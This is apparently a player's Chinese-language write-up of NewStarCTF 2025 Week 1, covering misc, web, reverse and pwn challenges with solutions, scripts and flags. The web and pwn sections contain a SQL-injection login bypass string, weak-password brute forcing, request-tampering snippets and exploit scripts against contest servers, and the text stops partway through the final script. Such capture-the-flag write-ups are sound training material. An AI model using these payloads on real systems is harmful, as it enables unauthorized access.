NewStarCTF 2025

NewStarCTF 2025

Aristore

每周都打了,但也没怎么打,打着玩的。misc 可能有点参考价值(其实也不多),其他的全是一坨(勿喷)。

Week 1

Misc

我不要革命失败

Challenge

小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?

【难度:简单】

Solution

在微软商店 “从 Microsoft Store 下载”按钮 安装 WinDbg

File -> Settings -> Debugging settings -> Default symbol path 填写微软官方的符号服务器地址然后点击 OK:

1
srv*c:\symbols*http://msdl.microsoft.com/download/symbols

输入题目描述中的命令:

1
!analyze -v
  1. 崩溃类型

    在日志的最上方,!analyze -v 的输出结果显示:

    1
    2
    3
    4
    5
    6
    7
    8
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************

    CRITICAL_PROCESS_DIED (ef)
    A critical system process died

    这里的 CRITICAL_PROCESS_DIED 就是蓝屏显示的终止代码的文字描述,“A critical system process died”是一种非常严重的错误,Windows 为了保护自身会立刻蓝屏

  2. 故障进程

    继续向下看日志可以找到好几个地方指明了是哪个进程出了问题:

    1
    PROCESS_NAME:  svchost.exe

    还有一行更具体的:

    1
    CRITICAL_PROCESS:  svchost.exe

    这说明导致这次蓝屏的关键进程就是 svchost.exe

FLAG

1
flag{CRITICAL_PROCESS_DIED_svchost.exe}

MISC城邦-压缩术

Challenge

欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)

【难度:简单】

Solution

6位密码门 说明密码长度为 6,abcd...xyz0123...789 意味着密码范围是小写英文字母和数字

NewStarCTF2025-1

根据提示爆破得到压缩密码是 ns2025,得到提示:

1
恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?)

显然是伪加密,用随波逐流修复一下,解压

这个 key.txt 和压缩包里面的 key.txt 是一模一样的,很基础的明文攻击

FLAG

1
flag{You_have_mastered_the_zip_magic!}

EZ_fence

Challenge

rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。

【难度:简单】

Solution

图片文件尾藏了一个 rar 文件,先提取,发现要密码

图片内的文字是:

1
rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB

修复图片宽高后在下方出现以下文字:

1
8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_

NewStarCTF2025-2

如图得到压缩包的解压密码

1
New5tar_zjuatrojee1mage5eed77yo#

解压缩拿到 flag

FLAG

1
flag{y0u_kn0w_ez_fence_tuzh0ng}

OSINT-天空belong

Challenge

OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。

请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_当前已经经过的省会城市名称(**市)_所拍摄设备制造商}

【难度:简单】

Solution

先查图片的 exif 信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
ExifTool Version Number         : 13.25
File Name : OSINT-天空belong.jpg
Directory : E:/Desktop
Warning : FileName encoding must be specified [x2]
File Size : 418 kB
File Modification Date/Time : 2025:08:24 18:02:45+08:00
File Access Date/Time : 2025:10:02 00:53:34+08:00
File Creation Date/Time : 2025:08:24 18:02:45+08:00
File Permissions : -r--r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Make : Xiaomi
Orientation : Rotate 90 CW
Modify Date : 2025:08:17 15:03:47
GPS Latitude Ref : Unknown ()
GPS Speed : undef
GPS Altitude Ref : Above Sea Level
GPS Processing Method :
GPS Speed Ref : Unknown ()
GPS Longitude Ref : Unknown ()
GPS Time Stamp : 00:00:00
GPS Date Stamp :
Y Resolution : 72
X Resolution : 72
Camera Model Name : Xiaomi 15
Y Cb Cr Positioning : Centered
Exif Version : 0230
Aperture Value : 1.6
Scene Type : Directly photographed
Exposure Compensation : 0
Exposure Program : Program AE
Color Space : sRGB
Max Aperture Value : 1.6
Exif Image Height : 1080
ISO Speed : 50
Brightness Value : 8.65
Date/Time Original : 2025:08:17 15:03:47
Flashpix Version : 0100
Sub Sec Time Original : 472
White Balance : Auto
Interoperability Index : R98 - DCF basic file (sRGB)
Interoperability Version : 0100
Exposure Mode : Auto
Exposure Time : 1/4059
Offset Time : +08:00
Flash : Off, Did not fire
Sub Sec Time : 472
F Number : 1.6
Exif Image Width : 1920
ISO : 50
Components Configuration : Y, Cb, Cr, -
Focal Length In 35mm Format : 23 mm
Sub Sec Time Digitized : 472
Create Date : 2025:08:17 15:03:47
Shutter Speed Value : 1/4056
Metering Mode : Center-weighted average
Focal Length : 6.5 mm
Sensitivity Type : ISO Speed
Offset Time Original : +08:00
Scene Capture Type : Standard
Light Source : D65
Sensing Method : Not defined
Resolution Unit : inches
Xiaomi Model : Xiaomi 15
Compression : JPEG (old-style)
Thumbnail Offset : 1478
Thumbnail Length : 4709
Image Width : 1920
Image Height : 1080
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Aperture : 1.6
Image Size : 1920x1080
Megapixels : 2.1
Scale Factor To 35 mm Equivalent: 3.5
Shutter Speed : 1/4059
Create Date : 2025:08:17 15:03:47.472
Date/Time Original : 2025:08:17 15:03:47.472+08:00
Modify Date : 2025:08:17 15:03:47.472+08:00
Thumbnail Image : (Binary data 4709 bytes, use -b option to extract)
GPS Date/Time : 00:00:00Z
GPS Latitude :
GPS Longitude :
Circle Of Confusion : 0.009 mm
Field Of View : 76.1 deg
Focal Length : 6.5 mm (35 mm equivalent: 23.0 mm)
Hyperfocal Distance : 3.10 m
Light Value : 14.4

从 exif 信息中得到的有用信息是:拍摄设备制造商是 Xiaomi,拍摄时间是 2025:08:17 15:03:47

图片是机翼的照片,上面泄露了这架飞机的国籍注册号 B-7198,可以在在线网站上查询到这台飞机在 2025 年 8 月 17 日下午 3 点时的飞行状况:B-7198 Flight Tracking and History 17-Aug-2025 (TNA / ZSJN-CSX / ZGHA) - FlightAware

这趟飞机的航班号是 UQ3574,起飞时间是 01:37PM,计算得到在 03:03PM 时已经起飞了 1h26min,拖动一下时间进度条就能看到当时飞机的位置了

NewStarCTF2025-3

飞机在湖北省上空,省会是 武汉市

FLAG

1
flag{UQ3574_武汉市_Xiaomi}

前有文字,所以搜索很有用

Challenge

欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)

【难度:困难】

Solution

Track 1:fL4g已经被挤在中间了

1
2
3
4
5
6
7
8
9
零宽度空格符 (zero-width​​​​‎‎​ space) \u200B : 用于较长单词的换行分隔

零宽度非断空格符 (zero width no-break space) \uFEFF : 用于阻止特定位置的换行分隔
​​​​‌
零宽度连字符 (zero-width joiner) \u200​​​​​D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果
​​​​​
零宽度断字符 ​​​​‎‎​(zero-width non-joiner​​​​‍​‌) \u200C :​​​​‎‌ 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果
​​​​‍​‎
左至右符​​​​‎‎ (left-to​​​​‍​‌-right mark) \u200E : 用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右​​​​‎‍‌​​​​​‍

零宽字符隐写+base64解码

NewStarCTF2025-4

flag{you_

Track 2:咏雪

这简直就是在fxxk我的brain.txt 内容如下

1
2
3
4
5
here's key
+++++ ++++[ ->+++ +++++ +<]>+ +++++ +++++ +++++ +.<++ ++[-> ++++< ]>.<+
+++[- >---- <]>-. +++++ +++.+ ++++. ----- ---.< +++[- >+++< ]>+++ +++.<
++++[ ->--- -<]>- -.+++ +++++ .--.< +++[- >+++< ]>+.< +++[- >---< ]>---
.++++ ++++. ..... <+++[ ->--- <]>-- .<

brainfuck 解码得到 brainfuckisgooooood

咏雪.docx 如下

NewStarCTF2025-5

联想到前面给出了 key brainfuckisgooooood 很容易想到是 snow 隐写,把全部内容提出来放到 咏雪.txt 然后用工具提取(注意这里由于出题人没压缩所以不用加 -C 参数)

1
2
snow.exe -p "brainfuckisgooooood" 咏雪.txt
----- ...- ...-- .-. -.-. ....- -- . ..--.-

解摩斯电码

0V3RC4ME_

Track 3:谁多谁少,一算便知

附件太长我就不粘了,思路是提取出字符表然后统计各个字符的出现次数,最后根据字符出现的次数从高到低排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import collections

filename = "谁多谁少,一算便知.txt"

# 使用 with 语句读取文件全部内容
with open(filename, 'r', encoding='utf-8') as file:
content = file.read()

# --- 1. 提取字符表 ---
character_table = sorted(list(set(content)))
print(f"字符表 (共 {len(character_table)} 种):")
print(''.join(character_table))
print("-" * 30)

# --- 2. 统计每个字符的个数 ---
char_counts = collections.Counter(content)

# --- 3. 打印结果 (按数量从高到低排序) ---
print("统计结果:")

# 定义特殊空白字符的可读性表示
special_char_map = {
'\n': r'\n (换行)',
' ': ' (空格)',
'\t': r'\t (制表符)'
}

for char, count in char_counts.most_common():
display_char = special_char_map.get(char, char)
print(f"{display_char}:{count}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
字符表 (共 95 种):
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
------------------------------
统计结果:
c:1500
H:1450
@:1400
1:1350
L:1300
e:1250
n:1200
G:1150
3:1100
s:1050
}:1000
w:659
!:648
i:637
V:635
F:632
K:631
Q:631
A:629
.:627
v:627
9:626
d:625
;:625
&:622
]:621
m:619
Y:619
>:619
h:618
t:617
5:613
):612
k:612
#:610
6:608
r:607
T:607
u:606
C:605
4:605
0:601
J:601
x:600
Z:599
::598
E:597
M:597
<:597
q:597
z:596
o:596
P:594
/:594
U:594
":594
b:593
+:593
|:592
p:592
B:591
{:591
y:590
$:590
?:588
7:587
a:585
%:584
(空格):584
*:583
~:582
,:581
-:579
^:579
[:579
l:577
2:576
_:575
(:573
R:573
f:571
\:571
':566
O:565
W:563
=:560
`:559
g:557
I:557
8:556
X:556
D:556
S:553
j:547
N:539

cH@1LenG3s}

FLAG

1
flag{you_0V3RC4ME_cH@1LenG3s}

Web

multi-headach3

Challenge

什么叫机器人控制了我的头?

【难度:简单】

Solution

访问 / 得到:

1
2
3
4
5
6
7
Hello!
Today is 2025/10/01

welcome to my first website!

ROBOTS is protecting this website!
But... Why my head is so painful???!!!

接着访问 /robots.txt 得到:

1
2
User-agent: *
Disallow: /hidden.php

接着访问 /hidden.php 重定向回了 /index.php,curl 看看

1
2
3
4
5
6
7
8
9
curl -I https://eci-2zehy0lhdsvatd41dope.cloudeci1.ichunqiu.com/hidden.php
HTTP/1.1 302 Found
Date: Wed, 01 Oct 2025 18:50:23 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Set-Cookie: found_hidden=1
Fl4g: flag{30eb463a-688d-4087-8a14-430cb8987bce}
Location: /index.php

FLAG

1
flag{30eb463a-688d-4087-8a14-430cb8987bce}

strange_login

Challenge

我当然知道1=1了!?

【难度:简单】

Solution

明显是 SQL 注入,还是最简单那种,用户名填 admin' OR '1'='1,密码随便

FLAG

1
flag{00289c2c-3579-48a9-ba55-369cc187c87b}

黑客小W的故事(1)

Challenge

NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。

【难度:中等】

Solution

抓包看看,直接POST /hunt,payload 填大点,在控制台发个包试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const url = '/hunt';
const payload = {count: 99};

fetch(url, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok: ' + response.status);
}
return response.json();
})
.then(data => {
console.log(data);
})
.catch(error => {
console.error(error);
});

返回了 {"NextLevel":"/Level2_mato"},跳转到第二关

根据下面的提示得知要访问 /talkToMushroom?shipin=mogubaozi,交谈后又知道要用 POST 方法(参数 guding 在上一段对话中提到过),还是在控制台发包

1
2
3
4
5
6
7
8
9
10
11
fetch('/talkToMushroom?shipin=mogubaozi', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'say=guding'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

得到新的提示 这样吧,你用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你,还是在控制台发包

1
2
3
4
5
6
7
8
9
10
11
fetch('/talkToMushroom?shipin=mogubaozi', {
method: 'DELETE',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'shipin=chongzi'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

再回复一次要骨钉

1
2
3
4
5
6
7
8
9
10
11
fetch('/talkToMushroom?shipin=mogubaozi', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'say=guding'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

得到回复 你已经帮我把虫子弄掉了,我把骨钉给你吧,你可以回去找那个大家伙了(/Level2_END),根据提示跳转到 /Level2_END

改 UA 头,CycloneSlash -> CycloneSlash/1.0 -> CycloneSlash/2.0 -> CycloneSlash/2.0 DashSlash/1.0 -> CycloneSlash/2.0 DashSlash/5.0

然后在 /Level4_Sly 得到 flag

FLAG

1
flag{9a254a84-22bd-4cd2-bfea-b4d608075239}

宇宙的中心是php

Challenge

所有光线都逃不出去……但我知道这不会难倒你的

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

Solution

F12 找到 s3kret.php,然后访问,给出了下面的代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

在控制台发包:

1
2
3
4
5
6
7
8
9
10
11
fetch('', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'newstar2025=057'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

在最底下得到 flag

FLAG

1
flag{75fd9c81-19d0-4a01-951b-d5d45aa2fc9c}

我真得控制你了

Challenge

小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈

【难度:中等】

Solution

删一下拦截的元素然后按下按钮跳转到 /weak_password.php

弱口令爆破,账密是 admin/111111,下一关来到了 /portal.php

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];

if (is_array($input)) {
die("恭喜掌握新姿势");
}


if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}


if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}

$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}

if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>

审计代码可以知道参数 newstar 要满足以下条件:

  1. 计算结果是 2025
  2. 只使用允许的字符:数字、*, /, ~, (), 空格
  3. 不能只包含数字和空格

随便构造一个满足条件的等式就行 /portal.php?newstar=2025/1

FLAG

1
flag{fad9d5bf-245e-4035-bc19-6da7bf63090f}

别笑,你也过不了第二关

Challenge

不是哥们,说白了你有啥实力啊,

过关不是简简单单

【难度:简单】

Solution

控制台改变量就行,改两次就过了

1
score = 9999999;

FLAG

1
flag{e466e3ec-c40e-4f61-a2cb-4bcbfdb6e3f0}

Reverse

Strange Base

Challenge

奇怪?这base64为什么不能一把梭了?

【难度:中等】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main()
{
int binlength; // eax
size_t Size; // rax
char enc[48]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int8 output[48]; // [rsp+50h] [rbp-60h] BYREF
unsigned __int8 input[48]; // [rsp+80h] [rbp-30h] BYREF

_main();
memset(input, 0, sizeof(input));
memset(output, 0, sizeof(output));
puts_0("It's time to show your flag to me~~~");
strcpy(enc, "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=");
scanf_s("%s", input);
binlength = strlen((const char *)input);
base64_encode(input, (char *)output, binlength);
Size = strlen(enc);
if ( !memcmp_0(output, enc, Size) )
printf("Oh! You're awesome!!!");
else
puts_0("Wrong!");
return 0;
}

打开一眼看到密文 T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=,接下来看加密函数 base64_encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength)
{
int j_1; // eax
int v4; // eax
int ja_1; // eax
int v6; // eax
int v7; // eax
unsigned __int8 current; // [rsp+7h] [rbp-9h]
unsigned __int8 currenta; // [rsp+7h] [rbp-9h]
int j; // [rsp+8h] [rbp-8h]
int ja; // [rsp+8h] [rbp-8h]
int jb; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

i = 0;
j = 0;
while ( i < binlength )
{
j_1 = j;
ja = j + 1;
base64[j_1] = aHelloACrqzyB4s[(bindata[i] >> 2) & 0x3F];
current = (16 * bindata[i]) & 0x30;
if ( binlength <= i + 1 )
{
base64[ja] = aHelloACrqzyB4s[current];
base64[ja + 1] = 61;
v4 = ja + 2;
j = ja + 3;
base64[v4] = 61;
break;
}
ja_1 = ja;
jb = ja + 1;
base64[ja_1] = aHelloACrqzyB4s[(bindata[i + 1] >> 4) | current];
currenta = (4 * bindata[i + 1]) & 0x3C;
if ( binlength <= i + 2 )
{
base64[jb] = aHelloACrqzyB4s[currenta];
v6 = jb + 1;
j = jb + 2;
base64[v6] = 61;
break;
}
base64[jb] = aHelloACrqzyB4s[(bindata[i + 2] >> 6) | currenta];
v7 = jb + 1;
j = jb + 2;
base64[v7] = aHelloACrqzyB4s[bindata[i + 2] & 0x3F];
i += 3;
}
base64[j] = 0;
return base64;
}

定位到自定义表 aHelloACrqzyB4s

1
2
3
4
.rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV'
.rdata:0000000140004000 ; DATA XREF: base64_encode+41↑o
.rdata:0000000140004000 ; base64_encode+8C↑o ...
.rdata:000000014000403B db 'KJNMF',0

拼接得到 HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM

编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def base64_decode(encoded_str, alphabet):
# 1. 创建解码映射
decode_map = {char: index for index, char in enumerate(alphabet)}

# 2. 处理填充字符 '='
padding_count = encoded_str.count('=')
if padding_count > 0:
encoded_str = encoded_str[:-padding_count]

# 3. 将密文转换为二进制字符串
binary_str = ""
for char in encoded_str:
index = decode_map[char]
binary_str += format(index, '06b')

# 4. 移除因填充而产生的多余二进制位
if padding_count == 1:
binary_str = binary_str[:-2]
elif padding_count == 2:
binary_str = binary_str[:-4]

# 5. 将二进制字符串按8位一组转换为字节
decoded_bytes = bytearray()
for i in range(0, len(binary_str), 8):
byte_chunk = binary_str[i:i+8]
if len(byte_chunk) == 8:
decoded_bytes.append(int(byte_chunk, 2))

# 6. 将字节数组解码为字符串
return decoded_bytes.decode('utf-8', errors='ignore')

table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM"
cipher = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="
flag = base64_decode(cipher, table)
print(flag)

FLAG

1
flag{Wh4t_a_cra2y_8as3!!!}

X0r

Challenge

no xor,no encrypt.

【难度:签到】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall main(int argc, const char **argv, const char **envp)
{
char Str2[32]; // [rsp+20h] [rbp-60h] BYREF
_BYTE v5[16]; // [rsp+40h] [rbp-40h]
char Str[36]; // [rsp+50h] [rbp-30h] BYREF
int i_1; // [rsp+74h] [rbp-Ch]
int j; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]

_main();
puts_0("Please input your flag: ");
scanf("%25s", Str);
i_1 = strlen(Str);
if ( i_1 == 24 )
{
for ( i = 0; i < i_1; ++i )
{
if ( i % 3 )
{
if ( i % 3 == 1 )
Str[i] ^= 0x11u;
else
Str[i] ^= 0x45u;
}
else
{
Str[i] ^= 0x14u;
}
}
v5[0] = 19;
v5[1] = 19;
v5[2] = 81;
for ( j = 0; j < i_1; ++j )
Str[j] ^= v5[j % 3];
strcpy(Str2, "anu`ym7wKLl$P]v3q%D]lHpi");
if ( !strcmp(Str, Str2) )
puts_0("Right flag!");
else
puts_0("Wrong flag!");
return 0;
}
else
{
puts_0("Wrong flag length!");
return 0;
}
}

编写解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cipher = "anu`ym7wKLl$P]v3q%D]lHpi"
target = bytearray(cipher, 'ascii')

key1 = [0x14, 0x11, 0x45]
key2 = [0x13, 0x13, 0x51]

intermediate = bytearray(24)

for i in range(24):
intermediate[i] = target[i] ^ key2[i % 3]

flag = bytearray(24)

for i in range(24):
flag[i] = intermediate[i] ^ key1[i % 3]

print(flag.decode('ascii'))

FLAG

1
flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

Challenge

咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?

【难度:简单】

Solution

part1:Puzzle_Challenge 组合出的字符串

  • 反编译 Puzzle_Challenge(0x1400014ef)

    1
    2
    3
    4
    Source = "Do_";
    Y0u_ = "Y0u_";
    strcpy(Destination, "Do_");
    strcat(Destination, Y0u_);
  • part1 = "Do_Y0u_"

part2:提示的函数名

  • 反编译 Like_7his_Jig(0x140001450)
    • 文本:”You found the second part of the flag–The function name.”
  • part2 = "Like_7his_Jig"

part3:异或还原的数据

  • 反编译 Its_about_part3(0x14000147d)

    1
    2
    for (i = 0; i < 8; ++i)
    v1[i] = __data_start__[i] ^ 0xAD;
  • 定位符号:__data_start__ @ 0x140003000

  • 读取前 8 字节:

    1
    de ed da f2 dd d8 d7 d7
  • XOR 计算(逐字节 ^ 0xAD):

    1
    2
    3
    4
    5
    6
    7
    8
    de ^ ad = 73  ('s')
    ed ^ ad = 40 ('@')
    da ^ ad = 77 ('w')
    f2 ^ ad = 5f ('_')
    dd ^ ad = 70 ('p')
    d8 ^ ad = 75 ('u')
    d7 ^ ad = 7a ('z')
    d7 ^ ad = 7a ('z')
  • part3 = "s@w_puzz"

part4:main 中的“奇怪字符串”

  • 反编译 main(0x140001543)
    • 直接打印字符串表中的提示与格式
  • 在字符串表中发现:"1e_Gam3" @ 0x140004000
  • part4 = "1e_Gam3"

FLAG

1
flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

Challenge

普普通通的安卓逆向,请准备好Jadx

【难度:简单】

Solution

NewStarCTF2025-6

FLAG

1
flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

Challenge

动态调试是学习逆向必不可少的一部分:)

【难度:中等】

Solution

gpt 一把梭大法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Cipher import AES

# Data from IDA (32 bytes ciphertext)
ciphertext = bytes([
0x1a, 0x90, 0x75, 0xeb, 0x0f, 0xe0, 0xde, 0xdf,
0x26, 0xb9, 0x1e, 0xda, 0x06, 0xd7, 0xc2, 0xa5,
0xc8, 0x09, 0xfb, 0x46, 0xd7, 0x8c, 0x11, 0x17,
0x4a, 0x39, 0x25, 0x59, 0xa0, 0xf1, 0xd6, 0x30
])

# RC4 key "Wow"
rc4_key = b"Wow"

def rc4_crypt(key: bytes, data: bytes) -> bytes:
# KSA
S = list(range(256))
j = 0
keylen = len(key)
for i in range(256):
j = (j + S[i] + key[i % keylen]) & 0xFF
S[i], S[j] = S[j], S[i]
# PRGA
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
out.append(b ^ K)
return bytes(out)

# AES key (two qwords written to memory in little-endian)
key = bytes([
0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, # from 0xA6D2AE2816157E2B
0xAB, 0xF7, 0x97, 0x75, 0x46, 0x41, 0x11, 0x00 # from 0x001141467597F7AB (zero-padded)
])

iv = bytes([
0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11, 0x45, # from 0x4511144511144511
0x14, 0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11 # from 0x1114451114451114
])

# Pipeline: RC4 -> AES-128-CBC decrypt -> XOR 0x26
rc4_out = rc4_crypt(rc4_key, ciphertext)
aes = AES.new(key, AES.MODE_CBC, iv)
aes_plain = aes.decrypt(rc4_out)
flag = bytes(b ^ 0x26 for b in aes_plain)


print(flag.decode('utf-8'))

FLAG

1
flag{It3_D3bugG_T11me!_le3_play}

Pwn

pwn’s door

Challenge

Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。

【难度:签到】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

HOST = '8.147.132.32'
PORT = 23283
p = remote(HOST, PORT)

password = b'7038329'

p.recvuntil(b'password: ').decode()
p.sendline(password)

p.interactive()

FLAG

1
flag{74c648dc-e5d6-4251-a7c4-6ea1e9a13864}

INTbug

Challenge

整数好像有些奇怪的秘密

【难度:简单】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 func() {
__int16 v1;
int v2; // BYREF
unsigned __int64 v3;

v3 = __readfsqword(0x28u);
v1 = 0;
while (1) {
v2 = 0;
__isoc99_scanf("%d", &v2);
if (v2 <= 0) break; // 非正数则退出循环
if (++v1 < 0) { // 有符号16位溢出到负数时成立
puts("You got it!\n");
system("cat flag");
}
}
puts("You can only input positive number!\n");
return v3 - __readfsqword(0x28u);
}

辅助信息(main 与初始化):

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(...) {
init(...);
puts("welcome to NewStarCTF2025!\n");
alarm(100);
func();
return 0;
}

int init(...) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
  • 漏洞点:func 中使用了有符号 16 位计数器(__int16 v1),每次输入正数时自增并检查 (++v1 < 0)
  • v1 从 32767 溢出为 -32768 时条件成立,打印“You got it!”并执行 system("cat flag")
  • 只需连续输入 32768 次正整数(例如“1”)即可触发拿到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import time

HOST = "47.94.87.199"
PORT = 24717

def main():
total = 32768
per_batch = 1024
deadline = time.time() + 120

with socket.create_connection((HOST, PORT), timeout=5) as s:
s.settimeout(0.2)
sent = 0
collected = b""

s.recv(4096)

while sent < total and time.time() < deadline:
batch = min(per_batch, total - sent)

s.sendall(("1\n" * batch).encode())
sent += batch

try:
buf = s.recv(4096)
if buf:
collected += buf
print(buf.decode(errors="ignore"), end="")
if b"flag" in collected.lower():
pass
except socket.timeout:
pass

# 读取剩余输出直到超时或关闭
